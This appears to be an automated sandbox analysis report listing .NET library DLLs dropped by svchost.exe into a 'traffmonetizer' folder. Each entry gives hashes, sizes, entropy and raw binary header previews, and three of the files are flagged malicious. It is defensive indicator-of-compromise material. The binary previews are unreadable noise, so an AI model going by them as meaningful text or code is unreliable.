SHA-512:	85E005B5BEB7C14BA34C62C38DA635962D1AA4740F91549B8659910EDD10F0FDE1734064B19567BF5BC63DBBBB62399F6CBE0AA323193DA599232DCE22B14A01
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..............8... ...@....... ..............................Ag....@..................................8..O....@..8...............?...`.......7............................................... ............... ..H............text........ ...................... ..`.rsrc...8....@......................@..@.reloc.......`.......(..............@..B.................8......H.......\|!..l............1..p...X7......................................j~....%-.&(....s....%..........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(....2r...p.(..........(......BSJB............v4.0.30319......l.......#~..h.......#Strings....\...4...#US.........#GUID...........#Blob...

C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Xml.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	24816
Entropy (8bit):	6.774158289322937
Encrypted:	false
SSDEEP:	768:EsPMQMI8COYyi4oBNw4tB8ngViK+QLc7LGS:vPMQMxCO4xJV86+GS
MD5:	9087373EEE85190DAF8915E614B1E4BD
SHA1:	F434AF8CE30EAF5511E28C0230211F0D8ED4A154
SHA-256:	557858E44A51A74646AD07A85CBA56AF1DA13AD26AC2F74EE5D8C3E8A171C221
SHA-512:	F728238FA567457D7977FEA667FCCB56C2EFE718A9A362E294934CC752E506E05C5D20C0BE2A309DE2A984DD60C3AE4EA03054185B96C9B5F5F5DE827AF9CEAF
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..............3... ...@....... ..............................6~....@..................................3..O....@..............."...>...`.......2............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`....... ..............@..B.................3......H........!..0...................L2.......................................s......s......0...........o....u......,..o......0..%........s..........(....r...p.$o......o....:.(......}......{.....(....z.(....z6.{.....o....:.{......o.....(....z:.{......o.....(....z.(....z.BSJB............v4.0.30319......l.......#~.. .......#Strings....$...0...#US.T.......#GUID...d.......#Blob...........W..........3............................................................................

C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	29360
Entropy (8bit):	6.504362287456874
Encrypted:	false
SSDEEP:	384:fbhigwLAuZtM66g/Id7WVXWbC7Bm0GftpBjyV8aQHRN7mT1lO62gHcX2:fbhzkKsrVi48Lpg8m
MD5:	0E35085C130D2D91E5241334BE7EF0DA
SHA1:	FD622ADE5CAE26353A22B6FA50A83669B72B6C41
SHA-256:	50AD612D4CF6113DE26B2870DA099C4817F59E64A2DA98F05803B4A2E2304919
SHA-512:	2498811F4AAC308CDC55C3406BEA4FEF5DC9E6F23559B09FB181F7447474EF586F00038282DDC39C241490B5DC2BCA7F41F19BD3E1BB00890DA29DF6489BB151
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0............"H... ...`....... ..............................7.....@..................................G..O....`...............4...>...........F............................................... ............... ..H............text...((... ..................... ..`.rsrc........`.......,..............@..@.reloc...............2..............@..B.................H......H.......P ...%...................F......................................BSJB............v4.0.30319......l.......#~..........#Strings.....#......#US..#......#GUID....#......#Blob......................3................................................_.........................8.....8....8.....8.....8.....8.....8.....8..........8.................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.+...K.K...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Claims.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21200
Entropy (8bit):	6.921540746927502
Encrypted:	false
SSDEEP:	384:2UcX6W9aW2EC7Bm0GftpBj3ZYvSaQHRN7tMlgaGn7Vy:2UchixVi9LtQGJy
MD5:	99604779C668D9B8EF913854B9A24F9D
SHA1:	97B62A3DBE2465B4C995E082AD6FF183F6267F59
SHA-256:	8270D1248950EE8AEE5C2AC2E321DF07E65C7A94004AE03C857DEACD231A5542
SHA-512:	BE6DEE6E7030B400EAC68AC289EC9B74BFE0140EE59AF5E68BF43A63A821C6F6AD9CA03C501896A6C92464BF8116D7996FFE640AB51BD9FA96673D9794AC82CD
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0.............B)... ...@....... ....................................@..................................(..O....@...................>...`.......'............................................... ............... ..H............text...H.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................$)......H.......P ......................8'......................................BSJB............v4.0.30319......l.......#~..<.......#Strings............#US.........#GUID...........#Blob......................3......................................................\.....0.....(.....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.3...K.S...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Algorithms.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	47016
Entropy (8bit):	6.126380612996906
Encrypted:	false
SSDEEP:	768:yoBj7kS+8mjvHTeaWKs0Sd4eeVngVixLVH:hPmb9WKs0Pee6VEVH
MD5:	E4A1681E09AEC6EFB00FB2A9355A1296
SHA1:	95699D187BF150D319CC64F90064301CAC57F338
SHA-256:	967DDDBFE7F1CEB933B5875D65C59CDB835BB063F287A361E8B35DD814A9B14D
SHA-512:	49299C773A4C7CCC235C54A91FD07A000CF547B3EE55272E2EE8B2AA40281DC0AF3C3B5A9EDF5CAEE4BEB3AD0DE5A0DEA07159ACEBA582911B78A6B85DB793B0
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..h.............. ........... ..............................I.....@.................................u...O.......8............x...?........................................................... ............... ..H............text....f... ...h.................. ..`.rsrc...8............j..............@..@.reloc...............v..............@..B........................H.......P'..\8..........._...%..,.......................................j~....%-.&(F...s....%..........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(....2r...p.(....2rI..p.(....2r...p.(....2r...p.(....2r...p.(....2r...p.(....2r9..p.(....2rm..p.(....2r...p.(....2r...p.(....*2r=..

C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Csp.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21240
Entropy (8bit):	6.935501042478791
Encrypted:	false
SSDEEP:	384:pTI2pWPzW8vT1Dm0GftpBjFQaQHRN7vlgaGn7s:pE3L1DViEL3G4
MD5:	F554762FC38F81CB22D1DC8AB5CD40D5
SHA1:	A67FDACEB10E828805A9E24FE0C59E1D73D19A7C
SHA-256:	566775F5502C3C1FA70ACADE145293DF5D02C1A9F031820D429605E9B4584B44
SHA-512:	BD23571BF9D0FE62BBF5FDDCAFF6B8F383CCC728AFBCEEBCAD8404D68C02EA1F55D4A22306BFC86C30172E70C6CF5425F2FF8877AAA8758A51C48CF4303BD2AB
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0.............^)... ...@....... ....................................@..................................)..O....@..`................>...`.......'............................................... ............... ..H............text...d.... ...................... ..`.rsrc...`....@......................@..@.reloc.......`......................@..B................@)......H.......P ......................T'......................................BSJB............v4.0.30319......l.......#~..,.......#Strings............#US.........#GUID...........#Blob......................3......................................z...........A...\.A...0.....a.....D.................C.................[.....x.....-.........................(.....(.....(...).(...1.(...9.(...A.(...I.(...Q.(...Y.(...a.(...i.(...q.(.......................#.....+.....3.....;."...C.=...K.]...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Encoding.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21256
Entropy (8bit):	6.945812678642078
Encrypted:	false
SSDEEP:	384:d1cezoy4W04WDvT1Dm0GftpBjEUvCMuaQHRN71xlZ3VRw:PBzoy+F1DVivQLjjw
MD5:	7AB10B31C5CE290672B319D403751E95
SHA1:	ED23E654968B3704A82F613B06BE5829E0CAAD70
SHA-256:	1F5C1ABE1B2720680170388569354D8CDA9D558B53AFF7CAF175CE0F7E3733E5
SHA-512:	65ED3AFF2424E7560FCC44380DC719BF200D444F9B06AF7F916D52152C330D55A7F4B96D0C1D2B291B07D82805C71DD9850F2F5F612F00ADFCA1CDF117C6B14A
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0.............~)... ...@....... ....................................@.................................,)..O....@...................?...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................`)......H.......P ..$...................t'......................................BSJB............v4.0.30319......l.......#~..<.......#Strings............#US.........#GUID....... ...#Blob......................3..................................................f...o.f...C.S.........W.................V...........%.....n...........@.....)...................M.....M.....M...).M...1.M...9.M...A.M...I.M...Q.M...Y.M...a.M...i.M...q.M.......................#.....+.....3.....;.'...C.B...K.b...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Primitives.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21784
Entropy (8bit):	6.863777213641518
Encrypted:	false
SSDEEP:	384:jQH/JWKpWNvT1Dm0GftpBjjaQHRN7/lO62gHcXv:jQH/jw1DVilLeg8f
MD5:	A60084F9988C7907F7092C143C8D3818
SHA1:	A69238054BEE26063D32B85B797BC4E0C49F79D4
SHA-256:	B755D0B55A465D07C9DD3FC11822487D1E649B684AEF91A4CE9B935B416A01B9
SHA-512:	6147F18BD9C49727251CBEA7A3168E3B19F34056DE5A9898571ECDEC85D424627A72968072449C81F97F95330BAED7E2ED0F6FDBA7E2F79B59B9352AB11003CF
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0............."... ...@....... ....................................@..................................)..O....@...................?...`.......(............................................... ............... ..H............text...(.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.......................H.......P .......................(......................................BSJB............v4.0.30319......l...$...#~..........#Strings............#US.........#GUID....... ...#Blob......................3............................................................o.s...........D.....D.....D.....D...8.D...Q.D.....D.....D...l.....U.D.................m.....m.....m...).m...1.m...9.m...A.m...I.m...Q.m...Y.m...a.m...i.m...q.m.......................#.....+.....3.....;.)...C.D...K.d...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.X509Certificates.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22832
Entropy (8bit):	6.823696761227228
Encrypted:	false
SSDEEP:	384:3TjbocNsWMhWqvT1Dm0GftpBjAB8O9aQHRN7FswlO62gHcXpe:fboYyf1DViyB8O9LFAg88
MD5:	06D000552ED6785988AE188FC35D1B86
SHA1:	B0A8868D459FE0AF34D16C263CFE0202C414DC53
SHA-256:	3C8630ACB43C12A6A317227FF2922056ECD991FE945464FDF7EA81F1293A479F
SHA-512:	F3E5E97AAF3D26EA62C64787198CCE6DF703EA3A4EBB389BEBC84B424C8129A0181142A4FA5D965CA3106758A047D0E1A723F181AD293FD389C4F1B8D290B5A5
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0.................. ...@....... ..............................j.....@..................................-..O....@..................0?...`.......,............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................-......H.......P .......................,......................................BSJB............v4.0.30319......l.......#~......\|...#Strings....x.......#US.\|.......#GUID.......(...#Blob......................3................................'.....).........u.................=......."...:."...W.".....".....".....".....".....".....[.....".................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;./...C.J...K.j...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Principal.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21208
Entropy (8bit):	6.913262967781329
Encrypted:	false
SSDEEP:	384:+SKiWIhWdC7Bm0GftpBjtQaQHRN76fl3uVogL:+SK8DVicL6wV7L
MD5:	6DCD91B6A029794728F4EDEB2BF2E42D
SHA1:	82BA1313448B431893C14D866F46D47B620514A9
SHA-256:	02416BC542BE82002B8B81ADBBBCDCC8D098104020D09B571DC674B5BC19A177
SHA-512:	2566F369EDEE9313E823AA2667CB95977F0DB57B4B47DA62F44850811F524D0598FDE6F5BB082BB3325789E4B256E970603B4297D3586F1C435498430723A38B
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............(... ...@....... ...............................s....@.................................t(..O....@.. ................>...`......<'............................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B.................(......H.......P ..l....................&......................................BSJB............v4.0.30319......l.......#~......@...#Strings....D.......#US.H.......#GUID...X.......#Blob......................3......................................................\.....0.....'.....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.6...K.V...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Security.SecureString.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22392
Entropy (8bit):	6.85070945929809
Encrypted:	false
SSDEEP:	384:n0KbZWApWmWTpWWFm0GftpBjNaTaQHRN7vnl4aRISeS:0KRybViaTLSAl
MD5:	4523F60270149BAD67F6AE63375D2CDB
SHA1:	FF6E6BCD83A11D40BF53DABD0480A67AECFDCF50
SHA-256:	18032D190D0D599823E59C8DD8B588909BEF8888B8BF304723A138B61F1B911F
SHA-512:	025E33F6927E634FE187491F40D96B36B2DDAF2ACDE97B340C8705BAE58BDED6C02B8BF9199A1B9D4AC75884C69DC665DC03B34571B1BD178CA1784C5F0D5451
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..............)... ...@....... ..............................#.....@.................................>)..O....@..................x?...`.......(............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................r)......H.......p .......................(........................................(......(......(......(....BSJB............v4.0.30319......l.......#~..........#Strings....`.......#US.h.......#GUID...x...(...#Blob...........G..........3.............................................."...........C...........u...............m.b...........J.....J.....J.....J...6.J...O.J.....J.....J...j.C...S.J.............................P ............X ............` ......4.....h ....................

C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Encoding.Extensions.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21232
Entropy (8bit):	6.925439366434707
Encrypted:	false
SSDEEP:	384:rb1nWCXWBC7Bm0GftpBjEYdgaQHRN7pC7lZ3atK9N:37RVioLpCf/9N
MD5:	D40515A84448B91315F956E6D1A6C64B
SHA1:	7FE773332D0461A252E52BE720A7794FCAAC7BFB
SHA-256:	CBE29672CD2B6A0EA97B55F3844FBEDE3E591996F39C3AA1F829F2FA50551FA9
SHA-512:	322F82AEB9EB9DA22257AC9FE835BF1C54C1BB268D37F0F97A4CA52BB42F6ACCCA9C8DBDB96D6D695FA69C24F5069978A4B6F1E960EE81D9EA671CCD30A348D3
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............)... ...@....... ..............................iR....@..................................(..O....@..T................>...`.......'............................................... ............... ..H............text... .... ...................... ..`.rsrc...T....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................'......................................BSJB............v4.0.30319......l.......#~.. ...t...#Strings............#US.........#GUID...........#Blob......................3......................................................\.....0.....6.....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.!...C.<...K.\...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Encoding.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21696
Entropy (8bit):	6.85763123423511
Encrypted:	false
SSDEEP:	384:UNyW7TWpvT1Dm0GftpBj6jaQHRN7hlGinGErW:ufi1DViGLpfW
MD5:	7F65CCBF58C39F3853BB8DC4137DFD12
SHA1:	3946DFF0B68F0CA01689BD44C348559ADF548258
SHA-256:	0AB1F7F87B7C2AFCA57D394E4F4E262C82BA3209CB0A750CD66401FB33F21ECA
SHA-512:	FF7D953EC4B82C10E64FC85D3AFC8A1A58582170EF1752D4688FA1D48EFC490DBA5F0A784E748F7902E96FD885EA868B1A84DE44F48CF071975F3CD3F8E52C6A
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0.............2... ...@....... ..............................'.....@..................................)..O....@...................>...`.......(............................................... ............... ..H............text...8.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.......................H.......P ......................((......................................BSJB............v4.0.30319......l...0...#~..........#Strings............#US.........#GUID...........#Blob......................3......................................................\.....0...........D.7.....7.....7...C.7.....7.....7...[.7...x.7...-.0.....7.................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.1...K.Q...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Encodings.Web.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	68472
Entropy (8bit):	5.977153039222987
Encrypted:	false
SSDEEP:	1536:czy/zOmekrEZa8frFpd3hQi/+sBzFLknqPO:TzOmekwZa8zdR+sBpSYO
MD5:	E8CDACFD2EF2F4B3D1A8E6D59B6E3027
SHA1:	9A85D938D8430A73255A65EA002A7709C81A4CF3
SHA-256:	EDF13EBF2D45152E26A16B947CD953AEB7A42602FA48E53FD7673934E5ACEA30
SHA-512:	EE1005270305B614236D68E427263B4B4528AD3842057670FAD061867286815577EC7D3ED8176E6683D723F9F592ABCBF28D24935CE8A34571AB7F1720E2FFC5
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...&gY..........." ..0.............2.... ........... .......................@............`.....................................O.......................x#... ..........T............................................ ............... ..H............text...8.... ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H........`..,t..................t.........................................(%.....(%.....(%...^.(%......4...%...}....:.(%.....}....:.(%.....}....:.(%.....}........0..E........ ...._.b..._X ....Y..e pp.._.d.X ....X.`.....X(&.....R...(&.....d.R....0..K........ ...._.b..._X ....Y..e pp.._.d.X ....X.`.....X('.... ...._.S...('.....d.S..0..&.........+....((...G...Z.(......X....()...2....0....................().....1...()....Z.6.....(...+.+...()....Z........s+..............

C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Json.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	355720
Entropy (8bit):	6.089400920308145
Encrypted:	false
SSDEEP:	3072:USOCU3QYmd1QhS1h2pCUoUJeXq7YAAEP1VIGm/0aW/49rZbpQ2M6R:Q7MQMh2pCUreatAJhrZlh
MD5:	38470CA21414A8827C24D8FE0438E84B
SHA1:	1C394A150C5693C69F85403F201CAA501594B7AB
SHA-256:	2C7435257690AC95DC03B45A236005124097F08519ADF3134B1D1ECE4190E64C
SHA-512:	079F7320CC2F3B97A5733725D3B13DFF17B595465159DAABCA5A166D39777100E5A2D9AF2A75989DFABDB2F29EAC0710E16C3BB2660621344B7A63C5DBB87EF8
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..@...........\... ...`....... ..............................84....`.................................Y\..O....`..d............J...#...........[..T............................................ ............... ..H............text....?... ...@.................. ..`.rsrc...d....`.......B..............@..@.reloc...............H..............@..B.................\......H..........t...........@....Y...[........................................(%.....(%.....(%...^.(%..........%...}....:.(%.....}....:.(%.....}....:.(%.....}........0..E........ ...._.b..._X ....Y..e pp.._.d.X ....X.`.....X(&.....R...(&.....d.R....0..K........ ...._.b..._X ....Y..e pp.._.d.X ....X.`.....X('.... ...._.S...('.....d.S..0..&.........+....((...G...Z.(......X....()...2....0..............?.....().....1...()....Z.......(...+.+...()....Z........s+..............

C:\Windows\Microsoft.NET\traffmonetizer\System.Text.RegularExpressions.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21232
Entropy (8bit):	6.952743264834991
Encrypted:	false
SSDEEP:	384:i6Rb32WVzWIvT1Dm0GftpBj2gaQHRN7EBlBLY6fG:NRb3dH1DViIgLEhYj
MD5:	7D317D88F9860A18ECF7FB90B33995D3
SHA1:	C2E4B19CB9A0B48E899512CD121FFE6657D41072
SHA-256:	C98A52BD017DF01AEA7B955E6F219537D391A62C2C2B976684DA282F9CD7CACF
SHA-512:	79ED01C6D1CEA3DBA6B3566E03D05A971745E221BE9330F6800A249D1B239E092D3FF704E7403E7ECD6B7709B24B0CDD7E518F2EE5DA38019E7139D80594173E
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............)... ...@....... ...............................Y....@.................................t)..O....@..P................>...`......<(............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................)......H.......P ..l....................'......................................BSJB............v4.0.30319......l.......#~..........#Strings....@.......#US.D.......#GUID...T.......#Blob......................3..................................................K...d.K...8.8...k.....L.................K.................c...........5.........................2.....2.....2...).2...1.2...9.2...A.2...I.2...Q.2...Y.2...a.2...i.2...q.2.......................#.....+.....3.....;. ...C.;...K.[...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Overlapped.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	37752
Entropy (8bit):	6.646566139863202
Encrypted:	false
SSDEEP:	768:ou5I+sqOylryry8qqIfUc7a5oUVi1vLFss:oYIVBpry8qqIfUcm5vVgDSs
MD5:	1A890C488CF2ECD406B804E7E3C5B7F0
SHA1:	BF2C1287F0EC04223CD17FE20AB2ECFFF18579E3
SHA-256:	F17FF442B77A6CFE9C118D2F8FAE1AB6C814A0D4F35C5844996BE84F3FCC8592
SHA-512:	4EEC61F9245DFF3D468818D6D6CBB8E12A5172658F1027A9AB0ECE03CC1377499833056A0DD4FF20B83B9FF9E47BB2E7F8DC7B641BC63AD78FF96C54BE01F524
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..F...........d... ........... ....................................@..................................c..O.......x............T..x?...........c............................................... ............... ..H............text....D... ...F.................. ..`.rsrc...x............H..............@..@.reloc...............R..............@..B.................c......H........&...7...........^.......b......................................j~....%-.&(....s....%..........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(....2r...p.(....2rK..p.(....2ry..p.(....2r...p.(....2r...p.(....2rc..p.(..........(......0..;........\|....(......./......(....o....s

C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Tasks.Extensions.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	25984
Entropy (8bit):	6.291520154015514
Encrypted:	false
SSDEEP:	384:1R973o62/KqcAnb05J3w0I5eUGef8s72XBWdvVW2JW8aJcyHRN7WEimpplex:1RZ4nNxnYTb6Blha
MD5:	E1E9D7D46E5CD9525C5927DC98D9ECC7
SHA1:	2242627282F9E07E37B274EA36FAC2D3CD9C9110
SHA-256:	4F81FFD0DC7204DB75AFC35EA4291769B07C440592F28894260EEA76626A23C6
SHA-512:	DA7AB8C0100E7D074F0E680B28D241940733860DFBDC5B8C78428B76E807F27E44D1C5EC95EE80C0B5098E8C5D5DA4D48BCE86800164F9734A05035220C3FF11
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....jM^.........." ..0..8...........V... ...`....... ....................................@..................................V..O....`...............B...#..........PU............................................... ............... ..H............text....6... ...8.................. ..`.rsrc........`.......:..............@..@.reloc...............@..............@..B.................V......H........0...$...................T........................................(......(....z..(....z2.(....s....2.(....s....:........o.....~....~.-..(......}......}......}....~.-..(......}......}......}....Z..}......}......}....J.{....%-.&.o....^.u....,........(.....~.{.....{....3..{.....{.......&...(....2...(...........0..'........{......,..u....%-.&..(...+(....(....n.{....,..(....s.....q......0..a.........{....o0.....,;..{....o2...(......;...3.~.......s......

C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Tasks.Parallel.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21232
Entropy (8bit):	6.924199325151996
Encrypted:	false
SSDEEP:	384:Wvn4HREpWiQWBTwm0GftpBjtSaQHRN7BlGinGEb:pS7wVifSLJ/
MD5:	9088029E38B2A393F22AFD9E576CE86E
SHA1:	05E65EE95F647F38C717C73A0399870912DD374A
SHA-256:	3468E0C875DB94A8F45D56AB76BBCC677B942CA51A23649BA3C5AD1B20E391F1
SHA-512:	23DCF5819996EE0F0C8FE044D6642A12E98A40309CE1F3F74688CF8E3DD6F6ED230AEC391FE7E511E15FBBBF14BFF09F976E923F22F2D68AD816D8FFAD17F101
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............)... ...@....... ..............................d.....@..................................(..O....@..P................>...`......x'............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~......l...#Strings....\|.......#US.........#GUID...........#Blob......................3......................................................n.....B.....".....V.................U...........$.....m...........?.....(...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.!...C.<...K.\...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Tasks.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22224
Entropy (8bit):	6.854915516686979
Encrypted:	false
SSDEEP:	384:G8MjKb47T3UCcqFMkJ59WdtWe+109m0GftpBjPRaQHRN7LKlgaGn7ce:jMjKb4vcGdOdVilRLLeG4e
MD5:	0AD301EE2B7282B87DCD0D862EFE14DC
SHA1:	F720109A38846E358BDE7C47D9C946A79D2B6B1C
SHA-256:	0110616DFE870B8BCF25DF8F6CE38EF5AAC39E728DDAA3420EA199F5A7E80A16
SHA-512:	C66FC92435C399804D8A8C1C836E5648725DDA8A55D7ACD897AE719CA231D89251A0D9A293A67F079E345709CFDA83DCC693AD41A28D13661A55459F94FE33E0
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............,... ...@....... ..............................k.....@.................................`,..O....@...................>...`......(+............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................,......H.......P ..X....................*......................................BSJB............v4.0.30319......l...<...#~..........#Strings....4.......#US.8.......#GUID...H.......#Blob......................3................................!.....O.......................................].....z.............................7.......j...........n...........................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.3...K.S...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Thread.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21200
Entropy (8bit):	6.917303618941186
Encrypted:	false
